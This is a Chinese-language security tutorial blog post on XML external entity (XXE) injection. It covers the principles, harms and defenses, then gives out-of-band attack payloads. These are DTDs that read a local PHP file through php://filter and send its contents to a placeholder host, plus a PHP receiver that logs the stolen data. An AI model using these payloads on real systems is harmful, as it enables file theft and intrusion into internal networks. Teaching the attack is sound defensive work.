网络安全从入门到精通(第九章-1) XXE - 实体注入

本文内容:

  • XXE
  • XML

 

特别注意:simplexml_load_string的函数,在php中只要有此函数,就可能造成xxe。

1,XXE:

  1.什么是xxe:

    xxe就是xml外部实体注入。

  2.xxe核心:

    原理:

      攻击者使用关键字SYSTEM,强制xml解析去去访问攻击者指定的资源内容[可以是本地文件,也可以是远程服务器系统上的文件]

    条件:

      用户能够控制输入。

      程序原本要执行的代码,拼接了用户输入的数据,然后去执行。

    作用:读取文件,攻击内网。

    危害:

      读取任意文件、

      执行系统命令、

      探测内网端口、

      攻击内网网站、

  3.XXE不足:

    很多时候后端语言解析XML后,并不会给输出。

    这样就要使用一个类似于接收平台一样的接收器:

    步骤:

      1.xml负责读取我们想要的内容。

      2.php负责接收xml读取的内容,并将内容保存到txt中。

      3.txt负责显示读取的内容。

  4.XXE防御:

    方法一:

      使用开发语言提供的禁用外部实体的办法:

        php:libxml_disable_entity_loader(true)。

    方法二:

      过滤用户提交的xml数据。

      关键词:不允许出现SYSTEM和PUBUC。

  5.XXE扩展:

    实体的名称可以随便起。

    外部引用支持http、ftp等协议不同的语言支持的协议不同,但存在一些通用协议如:

      libxml2: file、http、ftp

      php: file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar

      java: http、https、ftp、file、jar、netdoc、mailto、gopher *

      .net: file、http、https、ftp

2,XML:实际上就是存储数据

  1.什么是XML?

    xml指可扩展标记语言。

    xml是一种标记语言,很类似与HTML。

    xml的设计宗旨传输数据,而非显示数据。

    xml标签没有被预定义,需要自行定义标签。

    xml被设计为具有自我描述性。

    xml是w3c的推荐标准。

  2.特点:

    xml是纯文本,本身没有危害,就是一个存储数据的,但是在一些动态语言脚本里边存在一些函数:

      如:simplexml_load_string的函数,这个函数就是将xml转化为对象,在php中只要有此函数,就有可能存在XXE。

    xml可以自己发明标签[允许定义和文档结构]。

    xml无所不在,xml是各种应用程序之家进行数据传输的常用工具,并且在信息存储和描述领域越来越流行。

  3.结构:

    第一部分是申明,主要定义xml使用版本和使用编码。

    第二部分是DTD部分,主要是约束作用,简单的说,给内容部分定规矩。

      DTD约束的三种形式:

        内部DTD:<!DOCTYPE 根节点  [DTD的代码]>

        外部DTD:<!DOCTYPE 根节点 "DTD的地址">

        网络DTD:<!DOCTYPE 根节点 PUBLIC  "DTD的名称"  "DTD的地址">

    第三部分是内容。

    注意:

      定义实体必须是在DTD部分,DTD是定义XML变量,可以实现远程调用。

      DTD部分:实体用于定义应用普通文本或特殊字符的快捷方式的变量。

      实体:存储数据的变量,实体引用是对实体的引用,实体可在内部或外部进行声明。

  4.代码:

    1.攻击代码1:

      <?xml version="1.0"?>
      <!DOCTYPE ANY[
      <!ENTITY % fiel SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStduy/scms/a/a.php">
      <!ENTITY % remote SYSTEM "http://x.x.x.x:xxx/xxe/1.xml">
      %remote;
      %send;
      ]>

    2.攻击代码2:

      <?php
      $test =<<<EOF
      <?xml version="1.0"?>
      <!DOCTYPE ANY[
      <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/a/a.php">
      <!ENTITY % remote SYSTEM "http://x.x.x.x:xxx/xxe/1.xml">
      %remote;
      %send;
      ]>
      EOF;
      $obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
      print_r($obj);
      ?>

    3.三个文件源码:

      xml:

        <!ENTITY % all
        "<!ENTITY %; send SYSTEM 'http://x.x.x.x:xxx/xxe/2.php?id=%file;'>"
        >
        %all;

      php:

        <?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>

      txt:

        空白文件,用于写入东西。

      

posted @ 2020-04-22 07:55  TheHIde  阅读(365)  评论(0编辑  收藏  举报